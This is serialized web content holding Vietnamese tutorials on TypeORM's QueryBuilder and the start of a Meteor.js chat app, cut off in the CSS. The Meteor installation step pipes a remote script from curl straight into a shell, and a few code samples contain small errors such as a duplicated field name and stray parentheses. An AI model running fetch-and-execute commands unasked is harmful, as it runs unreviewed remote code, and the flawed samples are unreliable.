Connection.",[657,25441,25443],{"id":25442},"connection",[20,25444,25445],{},"Connection",[11,25447,25448],{},"Hãy xem xét một ví dụ đơn giản về cách sử dụng QueryBuilder bằng phương thức kết nối:",[696,25450,25453],{"className":25451,"code":25452,"language":701},[699],"import {getConnection} from \"typeorm\";\n\nconst user = await getConnection()\n.createQueryBuilder()\n.from(\"user\", \"user\")\n.select(\"user\")\n.where(\"user.id = :id\", { id: 1 })\n.getOne();\n",[703,25454,25452],{"__ignoreMap":66},[657,25456,25458],{"id":25457},"repository",[20,25459,25460],{},"Repository",[11,25462,25463],{},"Chúng ta có thể sử dụng repository  để tạo trình tạo truy vấn. Nó được mô tả dưới đây,",[696,25465,25468],{"className":25466,"code":25467,"language":701},[699],"import {getRepository} from \"typeorm\"; \nconst user = await getRepository(User)\n.createQueryBuilder(\"user\")\n.where(\"user.id = :id\", { id: 1 }) \n.getOne();\n",[703,25469,25467],{"__ignoreMap":66},[657,25471,25473],{"id":25472},"adding-expression-use-getconnection-no-model-needed",[20,25474,25475],{},"Adding expression use getConnection (no model needed)",[11,25477,25478],{},"table user: id, name, age",[11,25480,25481,25484],{},[20,25482,25483],{},"where"," được sử dụng để lọc các bản ghi nếu điều kiện được khớp.",[696,25486,25489],{"className":25487,"code":25488,"language":701},[699],"getConnection().createQueryBuilder().from(\"user\", \"user\").select(\"user\") .where(\"user.id = :id\", { id: 1 }) .getRawOne();\n",[703,25490,25488],{"__ignoreMap":66},[11,25492,25493],{},"Truy vấn này tương đương với:",[696,25495,25498],{"className":25496,"code":25497,"language":701},[699],"select * from user where user.id=1;\n",[703,25499,25497],{"__ignoreMap":66},[11,25501,25502,25505],{},[20,25503,25504],{},"orderBy"," được sử dụng để sắp xếp các bản ghi dựa trên trường",[696,25507,25510],{"className":25508,"code":25509,"language":701},[699],"getConnection().createQueryBuilder().from(\"user\", \"user\").orderBy(\"user.name\");\n",[703,25511,25509],{"__ignoreMap":66},[11,25513,25493],{},[696,25515,25518],{"className":25516,"code":25517,"language":701},[699],"select * from user order by user.name;\n",[703,25519,25517],{"__ignoreMap":66},[11,25521,25522,25525],{},[20,25523,25524],{},"groupBy",": Nó được sử dụng để nhóm các bản ghi dựa trên cột được chỉ định.",[696,25527,25530],{"className":25528,"code":25529,"language":701},[699],"getConnection().createQueryBuilder().from(\"user\", \"user\").groupBy(\"user.id\")\n",[703,25531,25529],{"__ignoreMap":66},[11,25533,25493],{},[696,25535,25538],{"className":25536,"code":25537,"language":701},[699],"select * from user group by user.id; \n",[703,25539,25537],{"__ignoreMap":66},[11,25541,25542,25545],{},[20,25543,25544],{},"limit",": được sử dụng để giới hạn việc chọn rows.",[696,25547,25550],{"className":25548,"code":25549,"language":701},[699],"getConnection().createQueryBuilder().from(\"user\", \"user\").limit(5);\n",[703,25551,25549],{"__ignoreMap":66},[11,25553,25493],{},[696,25555,25558],{"className":25556,"code":25557,"language":701},[699],"select * from user limit 5; \n",[703,25559,25557],{"__ignoreMap":66},[11,25561,25562,25565],{},[20,25563,25564],{},"offset"," được sử dụng để chỉ định, có bao nhiêu rows để bỏ qua kết quả.",[696,25567,25570],{"className":25568,"code":25569,"language":701},[699],"getConnection().createQueryBuilder().from(\"user\", \"user\").offset(5);\n",[703,25571,25569],{"__ignoreMap":66},[11,25573,25493],{},[696,25575,25578],{"className":25576,"code":25577,"language":701},[699],"select * from user offset 5;\n",[703,25579,25577],{"__ignoreMap":66},[11,25581,25582,25585],{},[20,25583,25584],{},"joins",": mệnh đề nối được sử dụng để kết hợp các hàng từ hai hoặc nhiều bảng, dựa trên một cột có liên quan. Ví dụ bên dưới là 2 bảng student với project  có mối quan hệ là 1-n:",[11,25587,25588],{},"student:  id, name, email, phone",[11,25590,25591],{},"project : id, name, student_id",[11,25593,25594],{},[20,25595,25596],{},"leftJoinAndSelect",[696,25598,25601],{"className":25599,"code":25600,"language":701},[699],"const student = await getConnection().createQueryBuilder().from(\"student\", \"student\")\n.leftJoinAndSelect(\"project\", \"project\", \"project.student_id = student.id\")\n.where(\"student.name = :name\", { name: \"Student1\" })\n.getOne();\n",[703,25602,25600],{"__ignoreMap":66},[11,25604,25493],{},[696,25606,25609],{"className":25607,"code":25608,"language":701},[699],"SELECT student.*, project.* FROM student student LEFT JOIN project project \nON project.student_id = student.id WHERE student.name = 'Student1'\n",[703,25610,25608],{"__ignoreMap":66},[11,25612,25613],{},[20,25614,25615],{},"innerJoinAndSelect",[696,25617,25620],{"className":25618,"code":25619,"language":701},[699],"const student = await getConnection().createQueryBuilder().from(\"student\", \"student\") \n.innerJoinAndSelect(\"project\", \"project\", \"project.student_id = student.id\") .where(\"student.name = :name\", { name: \"student1\" }) .getOne();\n",[703,25621,25619],{"__ignoreMap":66},[11,25623,25624],{},"Truy vấn trên tương đương với:",[696,25626,25629],{"className":25627,"code":25628,"language":701},[699],"SELECT student.*, project.* FROM student student INNER JOIN project project \nON project.student_id = student.id WHERE student.name = 'student1';\n",[703,25630,25628],{"__ignoreMap":66},[11,25632,25633],{},[20,25634,25635],{},"Insert",[696,25637,25640],{"className":25638,"code":25639,"language":701},[699],"import {getConnection} from \"typeorm\"; \n\nawait getConnection()\n.createQueryBuilder()\n.insert() \n.into('student') \n.values([ { name: \"test\", email: \"test@gmail.com\", phone: \"09011112222\"},\n { name: \"test2\", email: \"test2@gmail.com\", phone: \"09011112222\"}\n]) \n.execute();\n",[703,25641,25639],{"__ignoreMap":66},[11,25643,25644],{},[20,25645,25646],{},"Update",[696,25648,25651],{"className":25649,"code":25650,"language":701},[699],"import {getConnection} from \"typeorm\"; \n\nawait getConnection().createQueryBuilder() \n.update('student') \n.set({ name: \"test3\", email: \"test3@gmail.com\"}) \n.where(\"id = :id\", { id: 1 }) \n.execute(); \n",[703,25652,25650],{"__ignoreMap":66},[11,25654,25655],{},[20,25656,25657],{},"Delete",[696,25659,25662],{"className":25660,"code":25661,"language":701},[699],"import {getConnection} from \"typeorm\"; \n\n await getConnection() \n.createQueryBuilder() \n.delete()\n.from('student')\n.where(\"id = :id\", { id: 1 }) .execute();\n",[703,25663,25661],{"__ignoreMap":66},[11,25665,25666],{},[20,25667,25668],{},"Subqueries",[11,25670,25671],{},"Ví dụ 1: Sử dụng subQuery để select field name trong bảng student các record mà có email chứa chuỗi test",[11,25673,25674],{},"Ví dụ 2: Sử dụng subQuery để select id lớn nhất trong bảng project thỏa field name có chứa chuỗi test và select ra studentId, studentName, projectId",[696,25676,25679],{"className":25677,"code":25678,"language":701},[699],"const student = await getConnection().createQueryBuilder().select(\"student.name\", \"name\") \n.from((subQuery) => { return subQuery.select(\"student.name\", \"name\") \n                     .from(\"student\", \"student\").where(\"student.email like :email\", { email: '%test%'}) },\n                   \"student\") .getRawMany();\n\nconst student = await getConnection().createQueryBuilder()\n.select(`student.id as studentId,student.name as studentName,project.id as projectId`)) \n.from(\"student\", \"student\").leftJoin(\"project\", \"project\", \"project.student_id = student.id\")\n.where (\"project.id = (select max(id) from project where name like '%test%' \")).getRawMany();\n",[703,25680,25678],{"__ignoreMap":66},[657,25682,25684],{"id":25683},"adding-expression-use-getrepository-with-model",[20,25685,25686],{},"Adding expression use getRepository() with model",[11,25688,25689],{},"Ví dụ có model User sau:",[696,25691,25694],{"className":25692,"code":25693,"language":701},[699],"import {Entity, PrimaryGeneratedColumn, Column} from \"typeorm\";\n\n@Entity('user') \nexport class User { \n@PrimaryGeneratedColumn() \nid: number;\n \n@Column('varchar', {name: 'name', nullable: true, length: 50}) \nname: string | null; \n\n@Column('int', {name: 'age', nullable: true}) \nname: number | null; \n}\n",[703,25695,25693],{"__ignoreMap":66},[11,25697,25698,25484],{},[20,25699,25483],{},[696,25701,25704],{"className":25702,"code":25703,"language":701},[699],"getRepository(User).createQueryBuilder(\"user\").where(\"user.id= :id\", { id: 1 });\n",[703,25705,25703],{"__ignoreMap":66},[11,25707,25493],{},[696,25709,25711],{"className":25710,"code":25497,"language":701},[699],[703,25712,25497],{"__ignoreMap":66},[11,25714,25715,25505],{},[20,25716,25504],{},[696,25718,25721],{"className":25719,"code":25720,"language":701},[699],"getRepository(User).createQueryBuilder(\"user\").orderBy(\"user.name\");\n",[703,25722,25720],{"__ignoreMap":66},[11,25724,25493],{},[696,25726,25728],{"className":25727,"code":25517,"language":701},[699],[703,25729,25517],{"__ignoreMap":66},[11,25731,25732,25525],{},[20,25733,25524],{},[696,25735,25738],{"className":25736,"code":25737,"language":701},[699],"getRepository(User).createQueryBuilder(\"user\") .groupBy(\"user.id\")\n",[703,25739,25737],{"__ignoreMap":66},[11,25741,25493],{},[696,25743,25745],{"className":25744,"code":25537,"language":701},[699],[703,25746,25537],{"__ignoreMap":66},[11,25748,25749,25545],{},[20,25750,25544],{},[696,25752,25755],{"className":25753,"code":25754,"language":701},[699],"getRepository(User).createQueryBuilder(\"user\").limit(5);\n",[703,25756,25754],{"__ignoreMap":66},[11,25758,25493],{},[696,25760,25762],{"className":25761,"code":25557,"language":701},[699],[703,25763,25557],{"__ignoreMap":66},[11,25765,25766,25565],{},[20,25767,25564],{},[696,25769,25772],{"className":25770,"code":25771,"language":701},[699],"getRepository(User).createQueryBuilder(\"user\") .offset(5);\n",[703,25773,25771],{"__ignoreMap":66},[11,25775,25493],{},[696,25777,25779],{"className":25778,"code":25577,"language":701},[699],[703,25780,25577],{"__ignoreMap":66},[11,25782,25783,25785],{},[20,25784,25584],{},": mệnh đề nối được sử dụng để kết hợp các hàng từ hai hoặc nhiều bảng, dựa trên một cột có liên quan. Hãy xem xét hai thực thể:",[696,25787,25790],{"className":25788,"code":25789,"language":701},[699],"import {Entity, PrimaryGeneratedColumn, Column, OneToMany} from \"typeorm\";\nimport {Project} from \".\u002FProject\"; \n\n@Entity('student')\nexport class Student { \n@PrimaryGeneratedColumn()\nid: number; \n\n@Column('varchar', {name: 'name', nullable: true, length: 50})\nname: string | null;\n\n@Column('varchar', {name: 'email', nullable: true, length: 30})\nemail: string | null;\n\n@Column('varchar', {name: 'phone', nullable: true, length: 11})\nphone: string | null;\n\n@OneToMany(()=> Project, project => project.student) \nprojects: project[]; \n} \n",[703,25791,25789],{"__ignoreMap":66},[696,25793,25796],{"className":25794,"code":25795,"language":701},[699],"import {Entity, PrimaryGeneratedColumn, Column, ManyToOne}\n\nfrom \"typeorm\"; import {Student} from \".\u002FStudent\";\n\n@Entity('project') \nexport class Project {\n\n@PrimaryGeneratedColumn() \nid: number;\n\n@Column('varchar', {name: 'name', nullable: true, length: 50})\nname: string | null;\n\n@Column('bigint', {name: 'student_id', nullable: true, unsigned: true})\nstudentId: number | null;\n\n@ManyToOne(() => Student, student => student.projects)\n@JoinColumn([{name: 'student_id', referencedColumnName: 'id'}])\nstudent : Student;\n}\n",[703,25797,25795],{"__ignoreMap":66},[11,25799,25800],{},[20,25801,25596],{},[696,25803,25806],{"className":25804,"code":25805,"language":701},[699],"const student = await getRepository(Student).createQueryBuilder(\"student\")\n.leftJoinAndSelect(\"student.projects\", \"project\")\n.where(\"student.name = :name\", { name: \"Student1\" })\n.getOne();\n",[703,25807,25805],{"__ignoreMap":66},[11,25809,25493],{},[696,25811,25814],{"className":25812,"code":25813,"language":701},[699],"SELECT student.*, project.* FROM student student LEFT JOIN projects project \nON project.student = student.id WHERE student.name = 'Student1'\n",[703,25815,25813],{"__ignoreMap":66},[11,25817,25818],{},[20,25819,25615],{},[696,25821,25824],{"className":25822,"code":25823,"language":701},[699],"const student = await getRepository(Student).createQueryBuilder(\"student\")\n.innerJoinAndSelect(\"student.projects\", \"project\")\n.where(\"student.name = :name\", { name: \"student1\" })\n.getOne();\n",[703,25825,25823],{"__ignoreMap":66},[11,25827,25624],{},[696,25829,25832],{"className":25830,"code":25831,"language":701},[699],"SELECT student.*, project.* FROM students student INNER JOIN projects project \nON project.student = student.id WHERE student.name = 'Student1';\n",[703,25833,25831],{"__ignoreMap":66},[11,25835,25836],{},[20,25837,25635],{},[696,25839,25842],{"className":25840,"code":25841,"language":701},[699],"import {getConnection} from \"typeorm\"; \n\nawait getRepository(Student)\n.createQueryBuilder() \n.insert() \n.into(Student) \n.values([ { name: \"test\", email: \"test@gmail.com\", phone: \"09011112222\"}, \n{ name: \"test2\", email: \"test2@gmail.com\", phone: \"09011112222\"} ]) \n.execute();\n",[703,25843,25841],{"__ignoreMap":66},[11,25845,25846],{},[20,25847,25646],{},[696,25849,25852],{"className":25850,"code":25851,"language":701},[699],"import {getConnection} from \"typeorm\"; \n\nawait getRepository(Student)\n.createQueryBuilder() \n.update(Student) \n.set({ name: \"test3\", email: \"test3@gmail.com\"}) \n.where(\"id = :id\", { id: 1 }) .execute();\n",[703,25853,25851],{"__ignoreMap":66},[11,25855,25856],{},[20,25857,25657],{},[696,25859,25862],{"className":25860,"code":25861,"language":701},[699],"import {getConnection} from \"typeorm\"; \nawait getRepository(Student).createQueryBuilder() \n.delete() \n.from(Student) \n.where(\"id = :id\", { id: 1 }) \n.execute();\n",[703,25863,25861],{"__ignoreMap":66},[498,25865,7456],{"id":7455},[11,25867,25868],{},"Nên sử dụng query builder bởi vì nó có thể build các câu sql từ dễ đến phức tạp",[11,25870,25871],{},"Syntax cũng tương tự gần giống với sql thuần nên rất dễ viết code và đọc hiểu",[11,25873,25874],{},"Cũng có thể sử dụng query builder một cách bình thường mà không cần dùng đến khai báo model",[11,25876,25877],{},"Về hiệu năng thì sử dụng query builder thời gian truy xuất sẽ nhanh hơn sử dụng repository api có sẵn của typeorm",[498,25879,7462],{"id":5255},[11,25881,25882],{},[58,25883,25884],{"href":25884,"rel":25885},"https:\u002F\u002Ftypeorm.io\u002F",[62],{"title":66,"searchDepth":67,"depth":67,"links":25887},[25888,25893,25899,25900],{"id":5417,"depth":67,"text":5418,"children":25889},[25890,25891,25892],{"id":25385,"depth":1417,"text":25386},{"id":25395,"depth":1417,"text":25396},{"id":25411,"depth":1417,"text":25412},{"id":25433,"depth":67,"text":25436,"children":25894},[25895,25896,25897,25898],{"id":25442,"depth":1417,"text":25445},{"id":25457,"depth":1417,"text":25460},{"id":25472,"depth":1417,"text":25475},{"id":25683,"depth":1417,"text":25686},{"id":7455,"depth":67,"text":7456},{"id":5255,"depth":67,"text":7462},"2022-06-29","Giới thiệu TypeORM là một ORM có thể chạy trong các nền tảng NodeJS, Browser, Cordova, PhoneGap, Ionic, React Native, NativeScript, Expo và Electron và có thể được sử dụng với TypeScript và JavaScript (ES5, ES6, ES7, ES8). Mục tiêu của nó là luôn hỗ trợ các tính năng JavaScript mới nhất và cung cấp các tính năng bổ sung giúp bạn phát triển bất kỳ loại ứng dụng nào sử dụng cơ sở dữ liệu - từ các ứng dụng nhỏ với một vài bảng đến các ứng dụng doanh nghiệp quy mô lớn với nhiều cơ sở dữ liệu.",{},"\u002Fvi\u002Fnews\u002Ftypeorm",{"title":25370,"description":25902},"vi\u002Fnews\u002Ftypeorm","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F06\u002F08154314\u002Fquerybuilder-typeorm.jpg","LAxulkHwdIfBsVIcWC9XQ66ERJXOOUcQlmhZwvPP9W4",{"id":25910,"title":25911,"body":25912,"category":1430,"created by":26685,"date":26686,"description":26687,"extension":72,"meta":26688,"navigation":74,"path":26689,"sections":76,"seo":26690,"stem":26691,"thumbnail":26692,"__hash__":26693},"content_vi\u002Fvi\u002Fnews\u002Fxay-dung-ung-dung-chat-realtime-voi-framework-meteor-js.md","Xây dựng ứng dụng Chat Realtime với framework Meteor.js",{"type":8,"value":25913,"toc":26675},[25914,25918,25921,25924,25930,25933,25939,25945,25951,25957,25963,25969,25975,25982,25988,25993,25996,26002,26013,26019,26023,26030,26034,26049,26055,26058,26062,26068,26074,26081,26085,26089,26093,26099,26125,26131,26150,26155,26162,26168,26174,26178,26181,26186,26193,26199,26209,26215,26220,26227,26238,26241,26247,26253,26271,26280,26286,26292,26302,26308,26315,26321,26324,26330,26336,26343,26349,26352,26361,26365,26370,26376,26382,26390,26396,26401,26407,26410,26414,26419,26433,26439,26449,26455,26462,26468,26474,26480,26485,26491,26504,26510,26523,26529,26532,26536,26541,26545,26550,26554,26556,26560,26573,26577,26589,26593,26605,26609,26621,26625,26637,26639,26642,26647,26653,26656,26658,26664,26670],[490,25915,25916],{"id":5417},[20,25917,5418],{},[11,25919,25920],{},"Meteor (Meteor.js) là một framework JavaScript Full-Stack, được xây dựng dựa trên Node.js, giúp phát triển các ứng dụng web và mobile một cách nhanh chóng và hiệu quả. Với thiết kế tối ưu hóa cho sự tích hợp mượt mà giữa client và server, Meteor không chỉ giúp đơn giản hóa quá trình chia sẻ code mà còn nâng cao trải nghiệm với dữ liệu thời gian thực.",[11,25922,25923],{},"Nếu bạn đang tìm kiếm một giải pháp phát triển ứng dụng nhanh chóng hoặc muốn mở rộng kiến thức về các công nghệ web hiện đại, bài viết này sẽ cung cấp cái nhìn tổng quan và sâu sắc về Meteor.",[490,25925,25927],{"id":25926},"đặc-điểm-nổi-bật-của-meteor",[20,25928,25929],{},"Đặc điểm nổi bật của Meteor",[11,25931,25932],{},"Trong phần này, chúng ta sẽ khám phá sâu hơn về các đặc điểm nổi bật của Meteor, làm nên sự khác biệt và độc đáo của framework này trong lĩnh vực phát triển web và mobile:",[11,25934,25935,25938],{},[20,25936,25937],{},"Tích Hợp Mượt Mà giữa Client và Server",": Meteor cung cấp một mô hình dữ liệu đồng bộ tự động, cho phép cập nhật dữ liệu tức thời trên cả client và server mà không cần phải viết code đồng bộ dữ liệu phức tạp.",[11,25940,25941,25944],{},[20,25942,25943],{},"Chia Sẻ Code giữa Client và Server",": Với Meteor, việc chia sẻ code trở nên dễ dàng, giúp tối ưu hóa quy trình phát triển và duy trì ứng dụng.",[11,25946,25947,25950],{},[20,25948,25949],{},"Cập Nhật Dữ liệu Thời Gian Thực",": Meteor sử dụng DDP (Distributed Data Protocol) để đồng bộ dữ liệu giữa client và server, giúp ứng dụng cập nhật dữ liệu một cách nhanh chóng và mượt mà.",[11,25952,25953,25956],{},[20,25954,25955],{},"Hệ Sinh Thái Mạnh Mẽ",": Meteor có một hệ sinh thái phong phú với hàng ngàn gói và công cụ hỗ trợ, từ việc tích hợp với MongoDB cho đến việc triển khai ứng dụng với Galaxy, dịch vụ hosting của chính Meteor.",[11,25958,25959,25962],{},[20,25960,25961],{},"Tính Năng Hot Code Push",": Tính năng này cho phép các nhà phát triển cập nhật ứng dụng của họ mà không làm gián đoạn trải nghiệm người dùng, một lợi ích lớn trong việc duy trì và cập nhật ứng dụng.",[11,25964,25965,25968],{},[20,25966,25967],{},"Đa Nền Tảng:"," Chỉ cần code một lần, bạn có thể deploy nó thành một web app, hoặc build nó thành một mobile app trên Android, IOS.",[490,25970,25972],{"id":25971},"bắt-đầu-với-meteorjs",[20,25973,25974],{},"Bắt đầu với Meteor.js",[11,25976,25977,25978,25981],{},"Để bắt đầu với Meteor, bạn cần đảm bảo rằng Node.js đã được cài đặt trên máy của bạn. Hiện tại, Meteor hỗ trợ Node.js từ phiên bản ",[20,25979,25980],{},"10 đến 14",", với Meteor 3.0 đang trong quá trình phát triển để hỗ trợ phiên bản Node.js mới nhất.",[498,25983,25985],{"id":25984},"cài-đặt-meteor",[20,25986,25987],{},"Cài đặt Meteor",[11,25989,25990],{},[20,25991,25992],{},"Windows, Linux, và OS X:",[11,25994,25995],{},"Bạn có thể cài đặt Meteor trên tất cả các nền tảng này bằng lệnh sau trong terminal:",[696,25997,26000],{"className":25998,"code":25999,"language":701},[699],"npm install -g meteor\n",[703,26001,25999],{"__ignoreMap":66},[11,26003,26004,26005,26008,26009,26012],{},"Ngoài ra, trên ",[20,26006,26007],{},"Linux và OS X,"," Meteor cũng có thể được cài đặt qua ",[703,26010,26011],{},"curl"," bằng cách sử dụng lệnh sau:",[696,26014,26017],{"className":26015,"code":26016,"language":701},[699],"curl https:\u002F\u002Finstall.meteor.com\u002F | sh\n",[703,26018,26016],{"__ignoreMap":66},[498,26020,26022],{"id":26021},"tạo-ứng-dụng-chat-realtime-đơn-giản","Tạo Ứng Dụng Chat Realtime Đơn Giản",[11,26024,26025,26026,26029],{},"Chúng ta sẽ cùng tìm hiểu thêm về ",[20,26027,26028],{},"Meteor.js"," bằng cách thực hiện 1 project chat realtime đơn giản nhé.",[1800,26031,26033],{"id":26032},"_1-khởi-tạo-dự-án","1. Khởi Tạo Dự Án:",[11,26035,26036,26037,26040,26041,26044,26045,26048],{},"Để thiết lập nhanh chóng, sử dụng lệnh ",[703,26038,26039],{},"meteor create"," kèm theo tùy chọn ",[703,26042,26043],{},"--blaze"," và đặt tên cho dự án của bạn. Trong trường hợp này, chúng ta sẽ gọi dự án là “",[20,26046,26047],{},"simple-chat-meteor","”:",[696,26050,26053],{"className":26051,"code":26052,"language":701},[699],"meteor create --blaze simple-chat-meteor\n",[703,26054,26052],{"__ignoreMap":66},[11,26056,26057],{},"Sau khi khởi tạo thành công, bạn sẽ nhận được thông báo sau trong terminal:",[533,26059],{"className":26060,"alt":66,"src":26061,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F19133739\u002Fimg01-e1708324777843.png",[11,26063,26064,26065,1170],{},"Để chạy ứng dụng, di chuyển vào thư mục dự án và sử dụng lệnh ",[703,26066,26067],{},"meteor run",[696,26069,26072],{"className":26070,"code":26071,"language":701},[699],"cd simple-chat-meteor\nmeteor run\n",[703,26073,26071],{"__ignoreMap":66},[11,26075,26076,26077,26080],{},"Mở trình duyệt và truy cập ",[58,26078,17729],{"href":17729,"rel":26079},[62]," để xem ứng dụng của bạn.",[533,26082],{"className":26083,"alt":66,"src":26084,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F19135639\u002Fimg02.png",[1800,26086,26088],{"id":26087},"_2-cấu-trúc-dự-án","2. Cấu trúc dự án:",[533,26090],{"className":26091,"alt":66,"src":26092,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F20092348\u002Fimg09.png",[11,26094,26095,26098],{},[20,26096,26097],{},".meteor",": Là thư mục quan trọng nhất trong bất kỳ ứng dụng Meteor nào. Nó chứa các tệp cấu hình cốt lõi của ứng dụng Meteor và các thư mục con như:",[31,26100,26101,26107,26113,26119],{},[34,26102,26103,26106],{},[20,26104,26105],{},"local",": Chứa dữ liệu cục bộ và tệp nhật ký cho ứng dụng của bạn.",[34,26108,26109,26112],{},[20,26110,26111],{},"packages",": Danh sách các thư viện mà ứng dụng của bạn sử dụng.",[34,26114,26115,26118],{},[20,26116,26117],{},"platforms",": Các nền tảng mà ứng dụng của bạn hỗ trợ.",[34,26120,26121,26124],{},[20,26122,26123],{},"versions",": Chứa phiên bản của các thư viện mà ứng dụng của bạn đang sử dụng.",[11,26126,26127,26130],{},[20,26128,26129],{},"client",": Thư mục này dùng để chứa mã nguồn phía client của ứng dụng và thường bao gồm:",[31,26132,26133,26139,26145],{},[34,26134,26135,26138],{},[20,26136,26137],{},"main.css",": Tệp CSS chính cho styles của client.",[34,26140,26141,26144],{},[20,26142,26143],{},"main.html",": Tệp HTML chính, thường là điểm khởi đầu của ứng dụng với các định nghĩa layout và template.",[34,26146,26147,26149],{},[20,26148,5180],{},": Tệp JavaScript chính cho client, nơi bạn định nghĩa các sự kiện và helpers cho templates của Blaze.",[11,26151,26152,26154],{},[20,26153,18396],{},": Thư mục này dùng để chứa mã nguồn phía server của ứng dụng và thường bao gồm:",[31,26156,26157],{},[34,26158,26159,26161],{},[20,26160,5180],{},": Tệp JavaScript chính cho server, nơi bạn thiết lập các publication và methods cũng như các cấu hình khởi tạo server.",[11,26163,26164,26167],{},[20,26165,26166],{},"tests",": Thư mục này dùng để chứa các bài kiểm thử cho ứng dụng của bạn.",[11,26169,26170,26173],{},[20,26171,26172],{},"node_modules",": Thư mục này dùng để chứa các gói NPM mà dự án của bạn phụ thuộc vào.",[1800,26175,26177],{"id":26176},"_3-thực-hiện-các-chức-năng","3. Thực hiện các chức năng:",[11,26179,26180],{},"Trong phần này, chúng ta sẽ đi qua các bước cần thiết để thêm chức năng vào ứng dụng chat Meteor của chúng ta, bao gồm cấu hình giao diện người dùng, xử lý sự kiện, và xây dựng chức năng đăng nhập, đăng xuất.",[11,26182,26183],{},[20,26184,26185],{},"Cấu Hình Giao Diện Người Dùng",[11,26187,26188,26189,26192],{},"Ở file “",[20,26190,26191],{},"client\u002Fmain.html","”: Chúng ta sẽ định nghĩa cấu trúc HTML cơ bản cho ứng dụng chat của bạn, bao gồm tiêu đề và các meta-tag để tối ưu hóa hiển thị trên thiết bị di động.",[696,26194,26197],{"className":26195,"code":26196,"language":701},[699],"\u003Chead>\n  \u003Ctitle>Simple Chat Meteor\u003C\u002Ftitle>\n  \u003Cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" \u002F>\n  \u003Cmeta charset=\"utf-8\"\u002F>\n  \u003Cmeta http-equiv=\"x-ua-compatible\" content=\"ie=edge\"\u002F>\n  \u003Cmeta\n      name=\"viewport\"\n      content=\"width=device-width, height=device-height, viewport-fit=cover, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no\"\n  \u002F>\n  \u003Cmeta name=\"mobile-web-app-capable\" content=\"yes\"\u002F>\n  \u003Cmeta name=\"apple-mobile-web-app-capable\" content=\"yes\"\u002F>\n\u003C\u002Fhead>\n",[703,26198,26196],{"__ignoreMap":66},[11,26200,26188,26201,26204,26205,26208],{},[20,26202,26203],{},"client\u002Fmain.js","\", chúng ta import file \"",[20,26206,26207],{},"Chat.js","\" để khởi tạo UI chat.",[696,26210,26213],{"className":26211,"code":26212,"language":701},[699],"import '..\u002Fimports\u002Fui\u002FChat\u002FChat.js';\n\n",[703,26214,26212],{"__ignoreMap":66},[11,26216,26217],{},[20,26218,26219],{},"Xử Lý Sự Kiện và Dữ Liệu",[11,26221,26222,26223,26226],{},"Tạo thư mục “",[20,26224,26225],{},"imports","” để chứa mã nguồn phân chia theo UI và logic.",[11,26228,26229,26230,26233,26234,26237],{},"Trong “",[20,26231,26232],{},"imports\u002Fui\u002FChat","”, tạo file “",[20,26235,26236],{},"Chat.html","” để định nghĩa giao diện của ứng dụng chat.",[11,26239,26240],{},"Chúng ta sẽ sử dụng Blaze templates để tổ chức nội dung và logic hiển thị:",[696,26242,26245],{"className":26243,"code":26244,"language":701},[699],"\u003Cbody>\n    {{> chatContainer}}\n\u003C\u002Fbody>\n\n\u003Ctemplate name=\"chatContainer\">\n    \u003Cdiv class=\"chat-container\">\n        \u003Cdiv class=\"chat-header\">\n            \u003Ch2>Simple Chat Meteor\u003C\u002Fh2>\n        \u003C\u002Fdiv>\n\n        {{> chatContent}}\n    {{> chatInput}}\n    \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003Ctemplate name=\"chatContent\">\n    \u003Cdiv class=\"chat-content\">\n        {{#each chats}}\n        \u003Cdiv class=\"message\">\n            \u003Cdiv class=\"username\">{{ username }}\u003C\u002Fdiv>\n            \u003Cdiv class=\"message-content\">{{ messageText }}\u003C\u002Fdiv>\n        \u003C\u002Fdiv>\n        {{\u002Feach}}\n    \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003Ctemplate name=\"chatInput\">\n    \u003Cdiv class=\"chat-input\">\n        \u003Cinput id=\"message\" type=\"text\" placeholder=\"Input your message...\" \u002F>\n        \u003Cbutton id=\"sendMessage\">Send\u003C\u002Fbutton>\n    \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n",[703,26246,26244],{"__ignoreMap":66},[11,26248,26249,26252],{},[20,26250,26251],{},"chatContainer",": Đây là template chính chứa toàn bộ giao diện của ứng dụng chat, bao gồm tiêu đề của ứng dụng (chat-header) và phần nội dung chat.",[11,26254,26255,26258,26259,26262,26263,26266,26267,26270],{},[20,26256,26257],{},"chatContent",": Một template nhỏ hơn, được sử dụng để hiển thị nội dung chat. Nó lặp qua mỗi “",[20,26260,26261],{},"chats","” (các tin nhắn), hiển thị “",[20,26264,26265],{},"username","” (tên người gửi) và “",[20,26268,26269],{},"messageText","” (nội dung tin nhắn).",[11,26272,26273,26276,26277,26279],{},[20,26274,26275],{},"chatInput",": Một template khác cho phép người dùng gửi tin nhắn mới. Bao gồm một trường input để nhập tin nhắn và một nút “",[20,26278,19020],{},"” để gửi tin nhắn.",[11,26281,26282,26283,26048],{},"Thêm css tại file “",[20,26284,26285],{},"client\u002Fmain.css",[696,26287,26290],{"className":26288,"code":26289,"language":701},[699],":root {\n  --main-bg-color: #f0f2f5;\n  --chat-bg-color: #fff;\n  --highlight-color: #f69914;\n  --text-color-white: #fff;\n  --border-color: #ddd;\n  --input-border-color: #ccc;\n  --hover-bg-color: #0056b3;\n}\n\nbody {\n  font-family: Arial, sans-serif;\n  display: flex;\n  justify-content: center;\n  align-items: center;\n  height: 100vh;\n  overflow: hidden;\n  margin: 0;\n  background-color: var(--main-bg-color);\n}\n\n.chat-container {\n  height: 100%;\n  width: 600px;\n  border: 1px solid var(--border-color);\n  background-color: var(--chat-bg-color);\n  display: flex;\n  flex-direction: column;\n}\n\n.chat-header {\n  display: flex;\n  justify-content: space-between;\n  align-items: center;\n  background-color: var(--highlight-color);\n  color: var(--text-color-white);\n  height: 68px;\n  padding: 0px 10px;\n}\n\n.chat-header button#logout {\n  height: 30px;\n  background-color: transparent;\n  cursor: pointer;\n  color: var(--text-color-white);\n  border: 1px solid var(--chat-bg-color);\n  border-radius: 